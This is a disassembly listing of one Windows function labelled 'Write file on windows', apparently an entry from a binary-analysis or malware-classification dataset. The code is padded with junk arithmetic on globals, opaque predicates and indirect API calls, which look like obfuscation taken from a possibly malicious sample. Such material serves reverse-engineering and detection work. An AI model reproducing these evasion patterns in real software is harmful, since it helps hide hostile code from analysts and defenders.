Function at 0x41b9c0
Capabilities:
Write file on windows

Disassembly:
push edi
push esi
sub esp, 0x704
mov eax, dword [esp + 0x710]
mov ecx, 0xfae67c31
mov dword [esp + 0x700], eax
mov eax, dword [0x4ad288]
xor eax, 0x80040a5
cmp ecx, eax
jge 0x41ba01
mov eax, dword [0x4a25b4]
add eax, 0x752ecda3
mov dword [0x4a25b4], eax
jmp 0x41ba10
mov eax, dword [0x49b830]
xor eax, 0x2901800
mov dword [0x49b830], eax
mov eax, dword [esp + 0x700]
mov ecx, eax
call fcn.00439540
cmp eax, 0x8028
jbe 0x41c0ae
mov eax, 0x4fbedb70
mov cx, word [0x49b40e]
movsx edx, cx
sar edx, 0xa
imul edx, edx, 0x43d342a1
mov esi, dword [0x49c0b0]
sub esi, edx
mov dword [0x49c0b0], esi
mov edx, dword [0x49d614]
add edx, 0xbf5eec9f
mov dword [0x49d614], edx
mov edx, dword [0x49c5e4]
and edx, 0x3a1a1a59
mov dword [0x49c5e4], edx
mov cx, word [0x49a230]
movsx edx, cx
imul edx, edx, 0xe2417780
mov esi, dword [0x4ada5c]
xor esi, edx
mov dword [0x4ada5c], esi
mov edx, esp
lea esi, [esp + 0x5b0]
mov dword [edx], esi
mov dword [esp + 0x50], eax
mov dword [esp + 0x4c], esi
call fcn.0041ef90
mov dword [esp + 0x5ac], eax
mov eax, dword [0x4a7e2c]
not eax
or eax, 0xb2716386
mov edx, dword [0x4acd4c]
xor edx, eax
mov dword [0x4acd4c], edx
call fcn.00401e50
movzx edx, al
and edx, 3
add edx, 7
mov esi, dword [esp + 0x5ac]
lea esi, [esp + esi + 0x5b0]
mov edi, esp
mov dword [edi + 4], edx
mov dword [edi], esi
call fcn.0042e0d0
mov cx, word [0x493bb6]
mov dx, cx
and edx, 0x50d2
mov cx, dx
mov word [0x493bb6], cx
mov edx, esp
mov dword [edx + 4], 5
mov dword [edx], 0x21e0
call fcn.00410180
mov dword [esp + 0x6fc], eax
mov cx, word [0x491c04]
mov ax, cx
and eax, 0x984f
mov cx, word [0x49afc2]
mov dx, cx
add edx, eax
mov cx, dx
mov word [0x49afc2], cx
mov eax, dword [esp + 0x6fc]
mov edx, esp
mov dword [edx + 4], eax
mov eax, dword [esp + 0x4c]
mov dword [edx], eax
call fcn.004559f0
mov cx, word [0x491a16]
mov dx, cx
add edx, 0xd7982c05
mov cx, dx
mov word [0x491a16], cx
mov edx, esp
mov dword [edx + 4], 3
mov dword [edx], 0x32e2
mov dword [esp + 0x48], eax
call fcn.00410180
mov dword [esp + 0x6f8], eax
mov eax, dword [0x4a0db4]
mov edx, eax
inc edx
mov dword [0x4a0db4], edx
mov edx, dword [0x4a7d38]
shl edx, 1
imul eax, edx
sub eax, 0x17c60b9c
mov edx, dword [esp + 0x50]
cmp edx, eax
jle 0x41bbd6
mov eax, dword [0x4a0520]
add eax, 0x10615001
mov dword [0x4a0520], eax
mov eax, 0xa59e363
mov ecx, dword [esp + 0x6fc]
mov edx, esp
mov dword [edx + 4], ecx
mov dword [edx], 5
mov dword [esp + 0x44], eax
call fcn.0044f050
mov eax, dword [0x4b0468]
or eax, 0x3be1bcb9
mov dword [0x4b0468], eax
mov eax, dword [esp + 0x6f8]
mov ecx, esp
mov dword [ecx + 4], eax
lea eax, [esp + 0x5b0]
mov dword [ecx], eax
call fcn.00456056
mov dword [esp + 0x6f0], eax
mov eax, dword [0x4aefdc]
mov ecx, eax
inc ecx
mov dword [0x4aefdc], ecx
and eax, 0xc75e197b
mov ecx, dword [esp + 0x44]
cmp ecx, eax
je 0x41bc54
mov eax, dword [0x4a323c]
or eax, 0x92710627
mov dword [0x4ae5c0], eax
mov eax, dword [esp + 0x6f8]
mov ecx, esp
mov dword [ecx + 4], eax
mov dword [ecx], 3
call fcn.0044f050
mov dword [0x49bdf0], 0x7c952dc4
cmp dword [esp + 0x6f0], 0
je 0x41c029
mov eax, 0x662ed4c2
mov dword [0x4ad69c], 0xfd2feb87
mov ecx, dword [0x4ac558]
sar ecx, 7
imul ecx, ecx, 0x2054c5ec
cmp eax, ecx
jg 0x41bcc3
mov eax, dword [0x49df14]
sar eax, 0xa
mov ecx, dword [0x4ab498]
or eax, ecx
or eax, 0x91c1ac7e
mov dword [0x4ab498], eax
mov eax, 0x6a9239a0
mov ecx, dword [esp + 0x6f0]
mov edx, dword [esp + 0x700]
mov dword [esp + 0x40], ecx
mov ecx, edx
mov dword [esp + 0x3c], eax
call fcn.00439540
mov ecx, dword [esp + 0x700]
mov dword [esp + 0x38], eax
call fcn.0041c5a0
mov ecx, esp
mov edx, dword [esp + 0x40]
mov dword [ecx + 0xc], edx
mov edx, dword [esp + 0x38]
mov dword [ecx + 4], edx
mov dword [ecx], eax
mov dword [ecx + 8], 1
call fcn.00456209
mov dword [0x4ae7f4], 0xf5a53aa0
mov ecx, dword [esp + 0x6f0]
mov edx, esp
mov dword [edx], ecx
mov dword [esp + 0x34], eax
call fcn.004562f7
mov ecx, dword [0x4abaf4]
dec ecx
mov dword [0x4abaf4], ecx
mov edx, dword [0x4a070c]
mov esi, edx
inc esi
mov dword [0x4a070c], esi
imul edx, edx, 0xa16b701b
or ecx, edx
mov edx, dword [esp + 0x3c]
cmp edx, ecx
mov dword [esp + 0x30], eax
jge 0x41bd74
mov eax, dword [0x4aa2bc]
xor eax, 0xdd6c5458
mov dword [0x4aa2bc], eax
mov eax, 0x5d248540
mov ecx, dword [esp + 0x700]
mov dword [esp + 0x2c], eax
call fcn.0041ae80
mov eax, dword [0x4a9d40]
mov ecx, eax
inc ecx
mov dword [0x4a9d40], ecx
xor eax, 0xce4e
mov dx, ax
mov word [0x496692], dx
mov byte [esp + 0x182], 0
mov dx, word [0x49a2c8]
movsx eax, dx
add eax, 0x971fae6b
mov dword [0x49e15c], eax
mov eax, dword [0x490ce8]
mov ecx, esp
lea esi, [esp + 0x56]
mov dword [ecx + 4], esi
mov dword [ecx + 8], 0x12c
mov dword [ecx], 0
mov dword [esp + 0x28], esi
call eax
sub esp, 0xc
mov ecx, dword [0x4a6158]
shr ecx, 7
imul ecx, ecx, 0xe6910c81
or ecx, 0xd660
mov dx, cx
mov word [0x49b220], dx
mov byte [esp + 0x5ab], 0
mov ecx, dword [0x4a0958]
add ecx, 0x2a358866
mov dword [0x4a0958], ecx
mov ecx, esp
mov dword [ecx + 4], 0x15
mov dword [ecx], 0x357e
mov dword [esp + 0x24], eax
call fcn.00410180
mov dword [esp + 0x6f4], eax
mov eax, dword [0x4a2e10]
add eax, 0xc1cff10
mov dword [0x4a2e10], eax
mov eax, dword [0x4b108c]
mov ecx, dword [0x4b1074]
mov esi, dword [esp + 0x6f4]
mov edi, esp
mov dword [edi + 0x10], eax
mov dword [edi + 0xc], ecx
mov eax, dword [esp + 0x28]
mov dword [edi + 8], eax
mov dword [edi + 4], esi
lea ecx, [esp + 0x183]
mov dword [edi], ecx
mov dword [esp + 0x20], ecx
call fcn.00455ea1
mov ecx, dword [0x49bdc8]
add ecx, 0xe569f13
mov dword [0x49bdc8], ecx
mov ecx, dword [esp + 0x6f4]
mov esi, esp
mov dword [esi + 4], ecx
mov dword [esi], 0x15
mov dword [esp + 0x1c], eax
call fcn.0044f050
mov dx, word [0x497d9c]
mov ax, dx
add eax, 0x48249302
mov dx, ax
mov word [0x497d9c], dx
mov eax, dword [0x4b108c]
mov ecx, esp
mov dword [ecx], eax
call fcn.0040db70
mov ecx, dword [0x4aca6c]
or ecx, 0x685b76a2
mov dword [0x4aca6c], ecx
mov ecx, esp
mov esi, dword [esp + 0x20]
mov dword [ecx + 4], esi
lea edi, [esp + 0x5b0]
mov dword [ecx], edi
mov dword [esp + 0x18], eax
call fcn.00444ed0
mov eax, dword [0x4ac5e4]
mov ecx, dword [esp + 0x2c]
cmp ecx, eax
je 0x41bf25
mov eax, dword [0x4a41f4]
imul eax, eax, 0x60bee5f9
mov dword [0x4a41f4], eax
mov eax, esp
lea ecx, [esp + 0x183]
mov dword [eax], ecx
mov dword [eax + 4], 0x429
call fcn.00427ea0
mov word [0x49a45e], 0xc704
mov eax, esp
lea ecx, [esp + 0x56]
mov dword [eax], ecx
mov dword [eax + 4], 0x12d
call fcn.00427ea0
mov dx, word [0x494fcc]
movsx eax, dx
and eax, 0xb1a34d9e
mov ecx, dword [0x4a21e8]
not ecx
add ecx, 0xd506a5be
mov esi, dword [0x4af11c]
mov edi, esi
inc edi
mov dword [0x4af11c], edi
sub ecx, esi
cmp eax, ecx
je 0x41bfc3
mov eax, 0xfd8538cb
mov cx, word [0x49901a]
mov dx, cx
inc edx
mov si, dx
mov word [0x49901a], si
movsx edx, cx
cmp eax, edx
jne 0x41bfbe
mov dword [0x49fa28], 0x3cfe8e84
jmp 0x41bfc3
mov eax, dword [0x490d44]
mov ecx, esp
mov dword [ecx], 0x163fe
call eax
sub esp, 4
mov eax, dword [0x49c77c]
xor eax, 0xba0a9a3e
mov dword [0x49c77c], eax
mov eax, dword [0x490c94]
mov ecx, esp
lea edx, [esp + 0x5b0]
mov dword [ecx], edx
call eax
sub esp, 4
mov ecx, dword [0x4a3774]
mov edx, ecx
inc edx
mov dword [0x4a3774], edx
add ecx, 0x45beb2f9
mov si, word [0x492cb8]
mov dx, si
imul edx, ecx
mov si, dx
mov word [0x492cb8], si
mov dword [esp + 0x14], eax
mov eax, 0x3e2c948a
mov cx, word [0x495aa8]
mov dx, cx
dec edx
mov si, dx
mov word [0x495aa8], si
movsx edx, cx
mov edi, dword [0x4a1bd8]
imul edi, edi, 0x7f97bd57
sub edx, edi
cmp eax, edx
jne 0x41c06b
mov eax, dword [0x4a92fc]
add eax, 0x360f095c
mov dword [0x4a92fc], eax
mov eax, esp
lea ecx, [esp + 0x5b0]
mov dword [eax], ecx
mov dword [eax + 4], 0x140
call fcn.00427ea0
mov dx, word [0x491ba6]
mov ax, dx
dec eax
mov si, ax
mov word [0x491ba6], si
movsx eax, dx
or eax, 0x58617ac7
mov ecx, dword [0x4a03b0]
imul ecx, eax
mov dword [0x4a03b0], ecx
mov eax, dword [0x4a211c]
shl eax, 1
imul eax, eax, 0xeca7c52d
cmp eax, 0x25120cf3
je 0x41c0d5
mov word [0x49653c], 0xdfbc
jmp 0x41c0ed
mov ax, word [0x492b0a]
mov cx, ax
xor ecx, 0x756e
mov ax, cx
mov word [0x492b0a], ax
add esp, 0x704
pop esi
pop edi
ret